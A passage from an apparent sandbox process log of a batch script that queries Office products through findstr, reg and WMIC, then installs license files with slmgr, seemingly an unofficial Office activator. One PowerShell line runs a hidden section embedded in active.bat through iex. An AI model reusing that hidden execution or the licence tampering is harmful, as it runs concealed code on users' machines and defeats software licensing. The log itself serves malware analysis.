    findstr /I /C:"ProjectStdRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:6044
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioStdRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:6136
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"AccessRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5164
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"SkypeforBusinessRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5200
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"OneNoteRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:396
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ExcelRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:1668
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"OutlookRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:2760
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PowerPointRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:1076
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PublisherRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:3744
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"WordRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:1940
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProfessionalRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:2004
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"HomeBusinessRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:4888
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"HomeStudentRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5248
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"O365BusinessRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5280
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"O365SmallBusPremRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:112
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"O365HomePremRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:2108
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"O365EduCloudRetail" "C:\Windows\Temp\c2rchk.txt"
    3⤵
    PID:5308
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
    3⤵
    - Modifies registry key
    PID:876
- - C:\Windows\system32\findstr.exe
    findstr 2019
    3⤵
    PID:3804
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
    3⤵
    - Modifies registry key
    PID:5076
- - C:\Windows\system32\findstr.exe
    findstr 2021
    3⤵
    PID:4284
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
    3⤵
    - Modifies registry key
    PID:4392
- - C:\Windows\system32\findstr.exe
    findstr 2024
    3⤵
    PID:3188
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msoxmled.exe"
    3⤵
    PID:4860
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "Description like '%KMSCLIENT%' AND NOT Name like '%MondoR_KMS_Automation%'" get Name /value
    3⤵
    PID:4344
- - C:\Windows\system32\find.exe
    find /i "Office 16" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5380
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' AND NOT Name like '%O365%'" get Name /value
    3⤵
    PID:5448
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5468
- - C:\Windows\system32\find.exe
    find /i "Office 14"
    3⤵
    PID:5464
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5496
- - C:\Windows\system32\find.exe
    find /i "Office 15"
    3⤵
    PID:5472
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5548
- - C:\Windows\system32\find.exe
    find /i "Office 16"
    3⤵
    PID:5568
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5544
- - C:\Windows\system32\find.exe
    find /i "Office 19"
    3⤵
    PID:5596
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5588
- - C:\Windows\system32\find.exe
    find /i "Office 21"
    3⤵
    PID:5612
- - C:\Windows\system32\find.exe
    find /i "R_Retail" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5576
- - C:\Windows\system32\find.exe
    find /i "Office 24"
    3⤵
    PID:5672
- - C:\Windows\system32\find.exe
    find /i "Office16ProPlusR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5648
- - C:\Windows\system32\find.exe
    find /i "Office16StandardR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5676
- - C:\Windows\system32\find.exe
    find /i "Office16AccessR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:2924
- - C:\Windows\system32\find.exe
    find /i "Office16SkypeforBusinessR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:640
- - C:\Windows\system32\find.exe
    find /i "Office16ExcelR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5756
- - C:\Windows\system32\find.exe
    find /i "Office16OutlookR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5632
- - C:\Windows\system32\find.exe
    find /i "Office16PowerPointR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5772
- - C:\Windows\system32\find.exe
    find /i "Office16PublisherR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:664
- - C:\Windows\system32\find.exe
    find /i "Office16WordR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5876
- - C:\Windows\system32\find.exe
    find /i "Office16ProfessionalR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5892
- - C:\Windows\system32\find.exe
    find /i "Office16HomeBusinessR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5948
- - C:\Windows\system32\find.exe
    find /i "Office16HomeStudentR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5824
- - C:\Windows\system32\find.exe
    find /i "Office16ProjectProR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5868
- - C:\Windows\system32\find.exe
    find /i "Office16ProjectStdR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5848
- - C:\Windows\system32\find.exe
    find /i "Office16VisioProR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5856
- - C:\Windows\system32\find.exe
    find /i "Office16VisioStdR" "C:\Windows\Temp\sppchk.txt"
    3⤵
    PID:5812
- - C:\Windows\system32\sc.exe
    sc query ClickToRunSvc
    3⤵
    - Launches sc.exe
    PID:5984
- - C:\Windows\system32\sc.exe
    sc query OfficeSvc
    3⤵
    - Launches sc.exe
    PID:5964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6088
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath
      4⤵
      Modifies registry key
      PID:6112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\ClickToRun /v InstallPath" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5924
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\ClickToRun /v InstallPath
      4⤵
      Modifies registry key
      PID:5732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\15.0\ClickToRun /v InstallPath" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5140
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\15.0\ClickToRun /v InstallPath
      4⤵
      Modifies registry key
      PID:6020
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\ClickToRun /v InstallPath" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6012
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\ClickToRun /v InstallPath
      4⤵
      Modifies registry key
      PID:6048
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6044
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath
      4⤵
      Modifies registry key
      PID:6136
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5164
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v InstallPath
      4⤵
      Modifies registry key
      PID:5212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v PackageGUID" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4356
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun /v PackageGUID
      4⤵
      Modifies registry key
      PID:3156
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1712
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\Configuration /v ProductReleaseIds
      4⤵
      Modifies registry key
      PID:3592
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\ProductReleaseIDs /v ActiveConfiguration" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1304
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\ProductReleaseIDs /v ActiveConfiguration
      4⤵
      Modifies registry key
      PID:1060
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5160
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Office\15.0\Common\InstallRoot /v Path
      4⤵
      Modifies registry key
      PID:5148
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path" 2>nul
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3888
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Office\15.0\Common\InstallRoot /v Path
      4⤵
      Modifies registry key
      PID:228
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path SoftwareLicensingService get Version /value
    3⤵
    - System Location Discovery: System Language Discovery
    PID:388
  - - C:\Windows\system32\Wbem\WMIC.exe
      wmic path SoftwareLicensingService get Version /value
      4⤵
      PID:5304
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663' AND LicenseStatus='1' AND PartialProductKey is not NULL" get Description
    3⤵
    PID:2812
- - C:\Windows\system32\findstr.exe
    findstr /V /R "^$"
    3⤵
    PID:5312
- - C:\Windows\system32\find.exe
    find /i "RETAIL channel" "C:\Windows\Temp\crvRetail.txt"
    3⤵
    PID:4984
- - C:\Windows\system32\find.exe
    find /i "RETAIL(MAK) channel" "C:\Windows\Temp\crvRetail.txt"
    3⤵
    PID:4360
- - C:\Windows\system32\find.exe
    find /i "TIMEBASED_SUB channel" "C:\Windows\Temp\crvRetail.txt"
    3⤵
    PID:1236
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\active.bat') -split ':embdbin\:.*';iex ($f[5])"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5192
- - C:\Windows\system32\Wbem\WMIC.exe
    wmic path SoftwareLicensingProduct where "ApplicationID='0ff1ce15-a989-479d-af46-f275c6370663'" get LicenseFamily
    3⤵
    PID:4072
- - C:\Windows\system32\findstr.exe
    findstr /V /R "^$"
    3⤵
    PID:5764
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Professional2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:3316
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"HomeBusiness2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5772
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"HomeStudent2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:664
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Home2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:3452
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProPlus2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5376
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Standard2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5904
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Excel2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5908
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Outlook2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5796
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PowerPoint2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5864
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Word2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5920
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Access2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5792
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"SkypeforBusiness2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5808
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectPro2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5800
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectStd2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5960
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioPro2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5964
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioStd2024Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:6108
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Professional2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:6088
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"HomeBusiness2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5732
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"HomeStudent2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5924
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProPlus2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5976
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Standard2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5140
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Excel2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:6048
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Outlook2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:6012
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PowerPoint2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5144
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Publisher2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:6044
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Word2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5232
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Access2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5164
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"SkypeforBusiness2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:6024
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectPro2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:4356
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectStd2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:2760
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioPro2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:1712
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioStd2021Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:3744
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Professional2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:1304
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"HomeBusiness2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:1940
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"HomeStudent2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5168
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProPlus2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:2372
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Standard2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:928
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Excel2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5292
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Outlook2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5248
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PowerPoint2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:4888
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Publisher2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5620
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Word2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5516
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Access2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:2260
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"SkypeforBusiness2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:1808
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectPro2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:3476
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectStd2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:4852
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioPro2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:4452
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioStd2019Retail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:112
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProfessionalRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:2812
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"HomeBusinessRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:4860
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"HomeStudentRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5368
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"O365ProPlusRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5132
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"O365BusinessRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:4372
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"O365SmallBusPremRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5420
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"O365HomePremRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5432
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"O365EduCloudRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5480
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"MondoRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:1952
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"StandardRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5592
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ExcelRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5472
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"OutlookRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5500
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PowerPointRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5596
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PublisherRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5604
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"WordRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:692
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"AccessRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5332
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"SkypeforBusinessRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5748
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectProRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5696
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectStdRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:3128
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioProRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5408
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioStdRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:3160
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"OneNoteRetail" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5184
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProPlus2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5392
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Standard2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5320
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Excel2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:4840
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Outlook2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5648
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PowerPoint2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5676
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Publisher2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:2924
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Word2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:920
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"Access2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5020
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"SkypeforBusiness2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:4040
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectPro2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:4344
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectStd2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:1772
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioPro2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5784
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioStd2019Volume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:640
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"MondoVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5636
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"StandardVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5768
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ExcelVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:3316
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"OutlookVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5772
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PowerPointVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:6092
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"PublisherVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:4648
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"WordVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:6004
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"AccessVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5900
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"SkypeforBusinessVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5908
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectProVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5948
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"ProjectStdVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5816
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioProVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5916
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"VisioStdVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5932
- - C:\Windows\system32\findstr.exe
    findstr /I /C:"OneNoteVolume" "C:\Windows\Temp\crvProductIds.txt"
    3⤵
    PID:5856
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\ProductReleaseIDs\A9C88E0B-9DC8-47AB-AB89-9AE025316701\ProPlusRetail.16
    3⤵
    - Modifies registry key
    PID:5812
- - C:\Windows\system32\find.exe
    find /i "Office16ProPlusVL_KMS_Client" "C:\Windows\Temp\crvVolume.txt"
    3⤵
    PID:5984
- - C:\Windows\system32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Office\ClickToRun\ProductReleaseIDs\A9C88E0B-9DC8-47AB-AB89-9AE025316701\ProPlusVolume.16
    3⤵
    - Modifies registry key
    PID:6016
- - C:\Windows\system32\find.exe
    find /i "Office16MondoVL_KMS_Client" "C:\Windows\Temp\crvVolume.txt"
    3⤵
    PID:6124
- - C:\Windows\system32\cscript.exe
    cscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-bridge-office.xrm-ms"
    3⤵
    PID:5760
- - C:\Windows\system32\cscript.exe
    cscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-root-bridge-test.xrm-ms"
    3⤵
    PID:6008
- - C:\Windows\system32\cscript.exe
    cscript.exe //NoLogo //B C:\Windows\Sysnative\slmgr.vbs /ilc "C:\Program Files\Microsoft Office\root\Licenses16\client-issuance-root.xrm-ms"
    3⤵
    PID:6020
- - C:\Windows\system32\cscript.exe
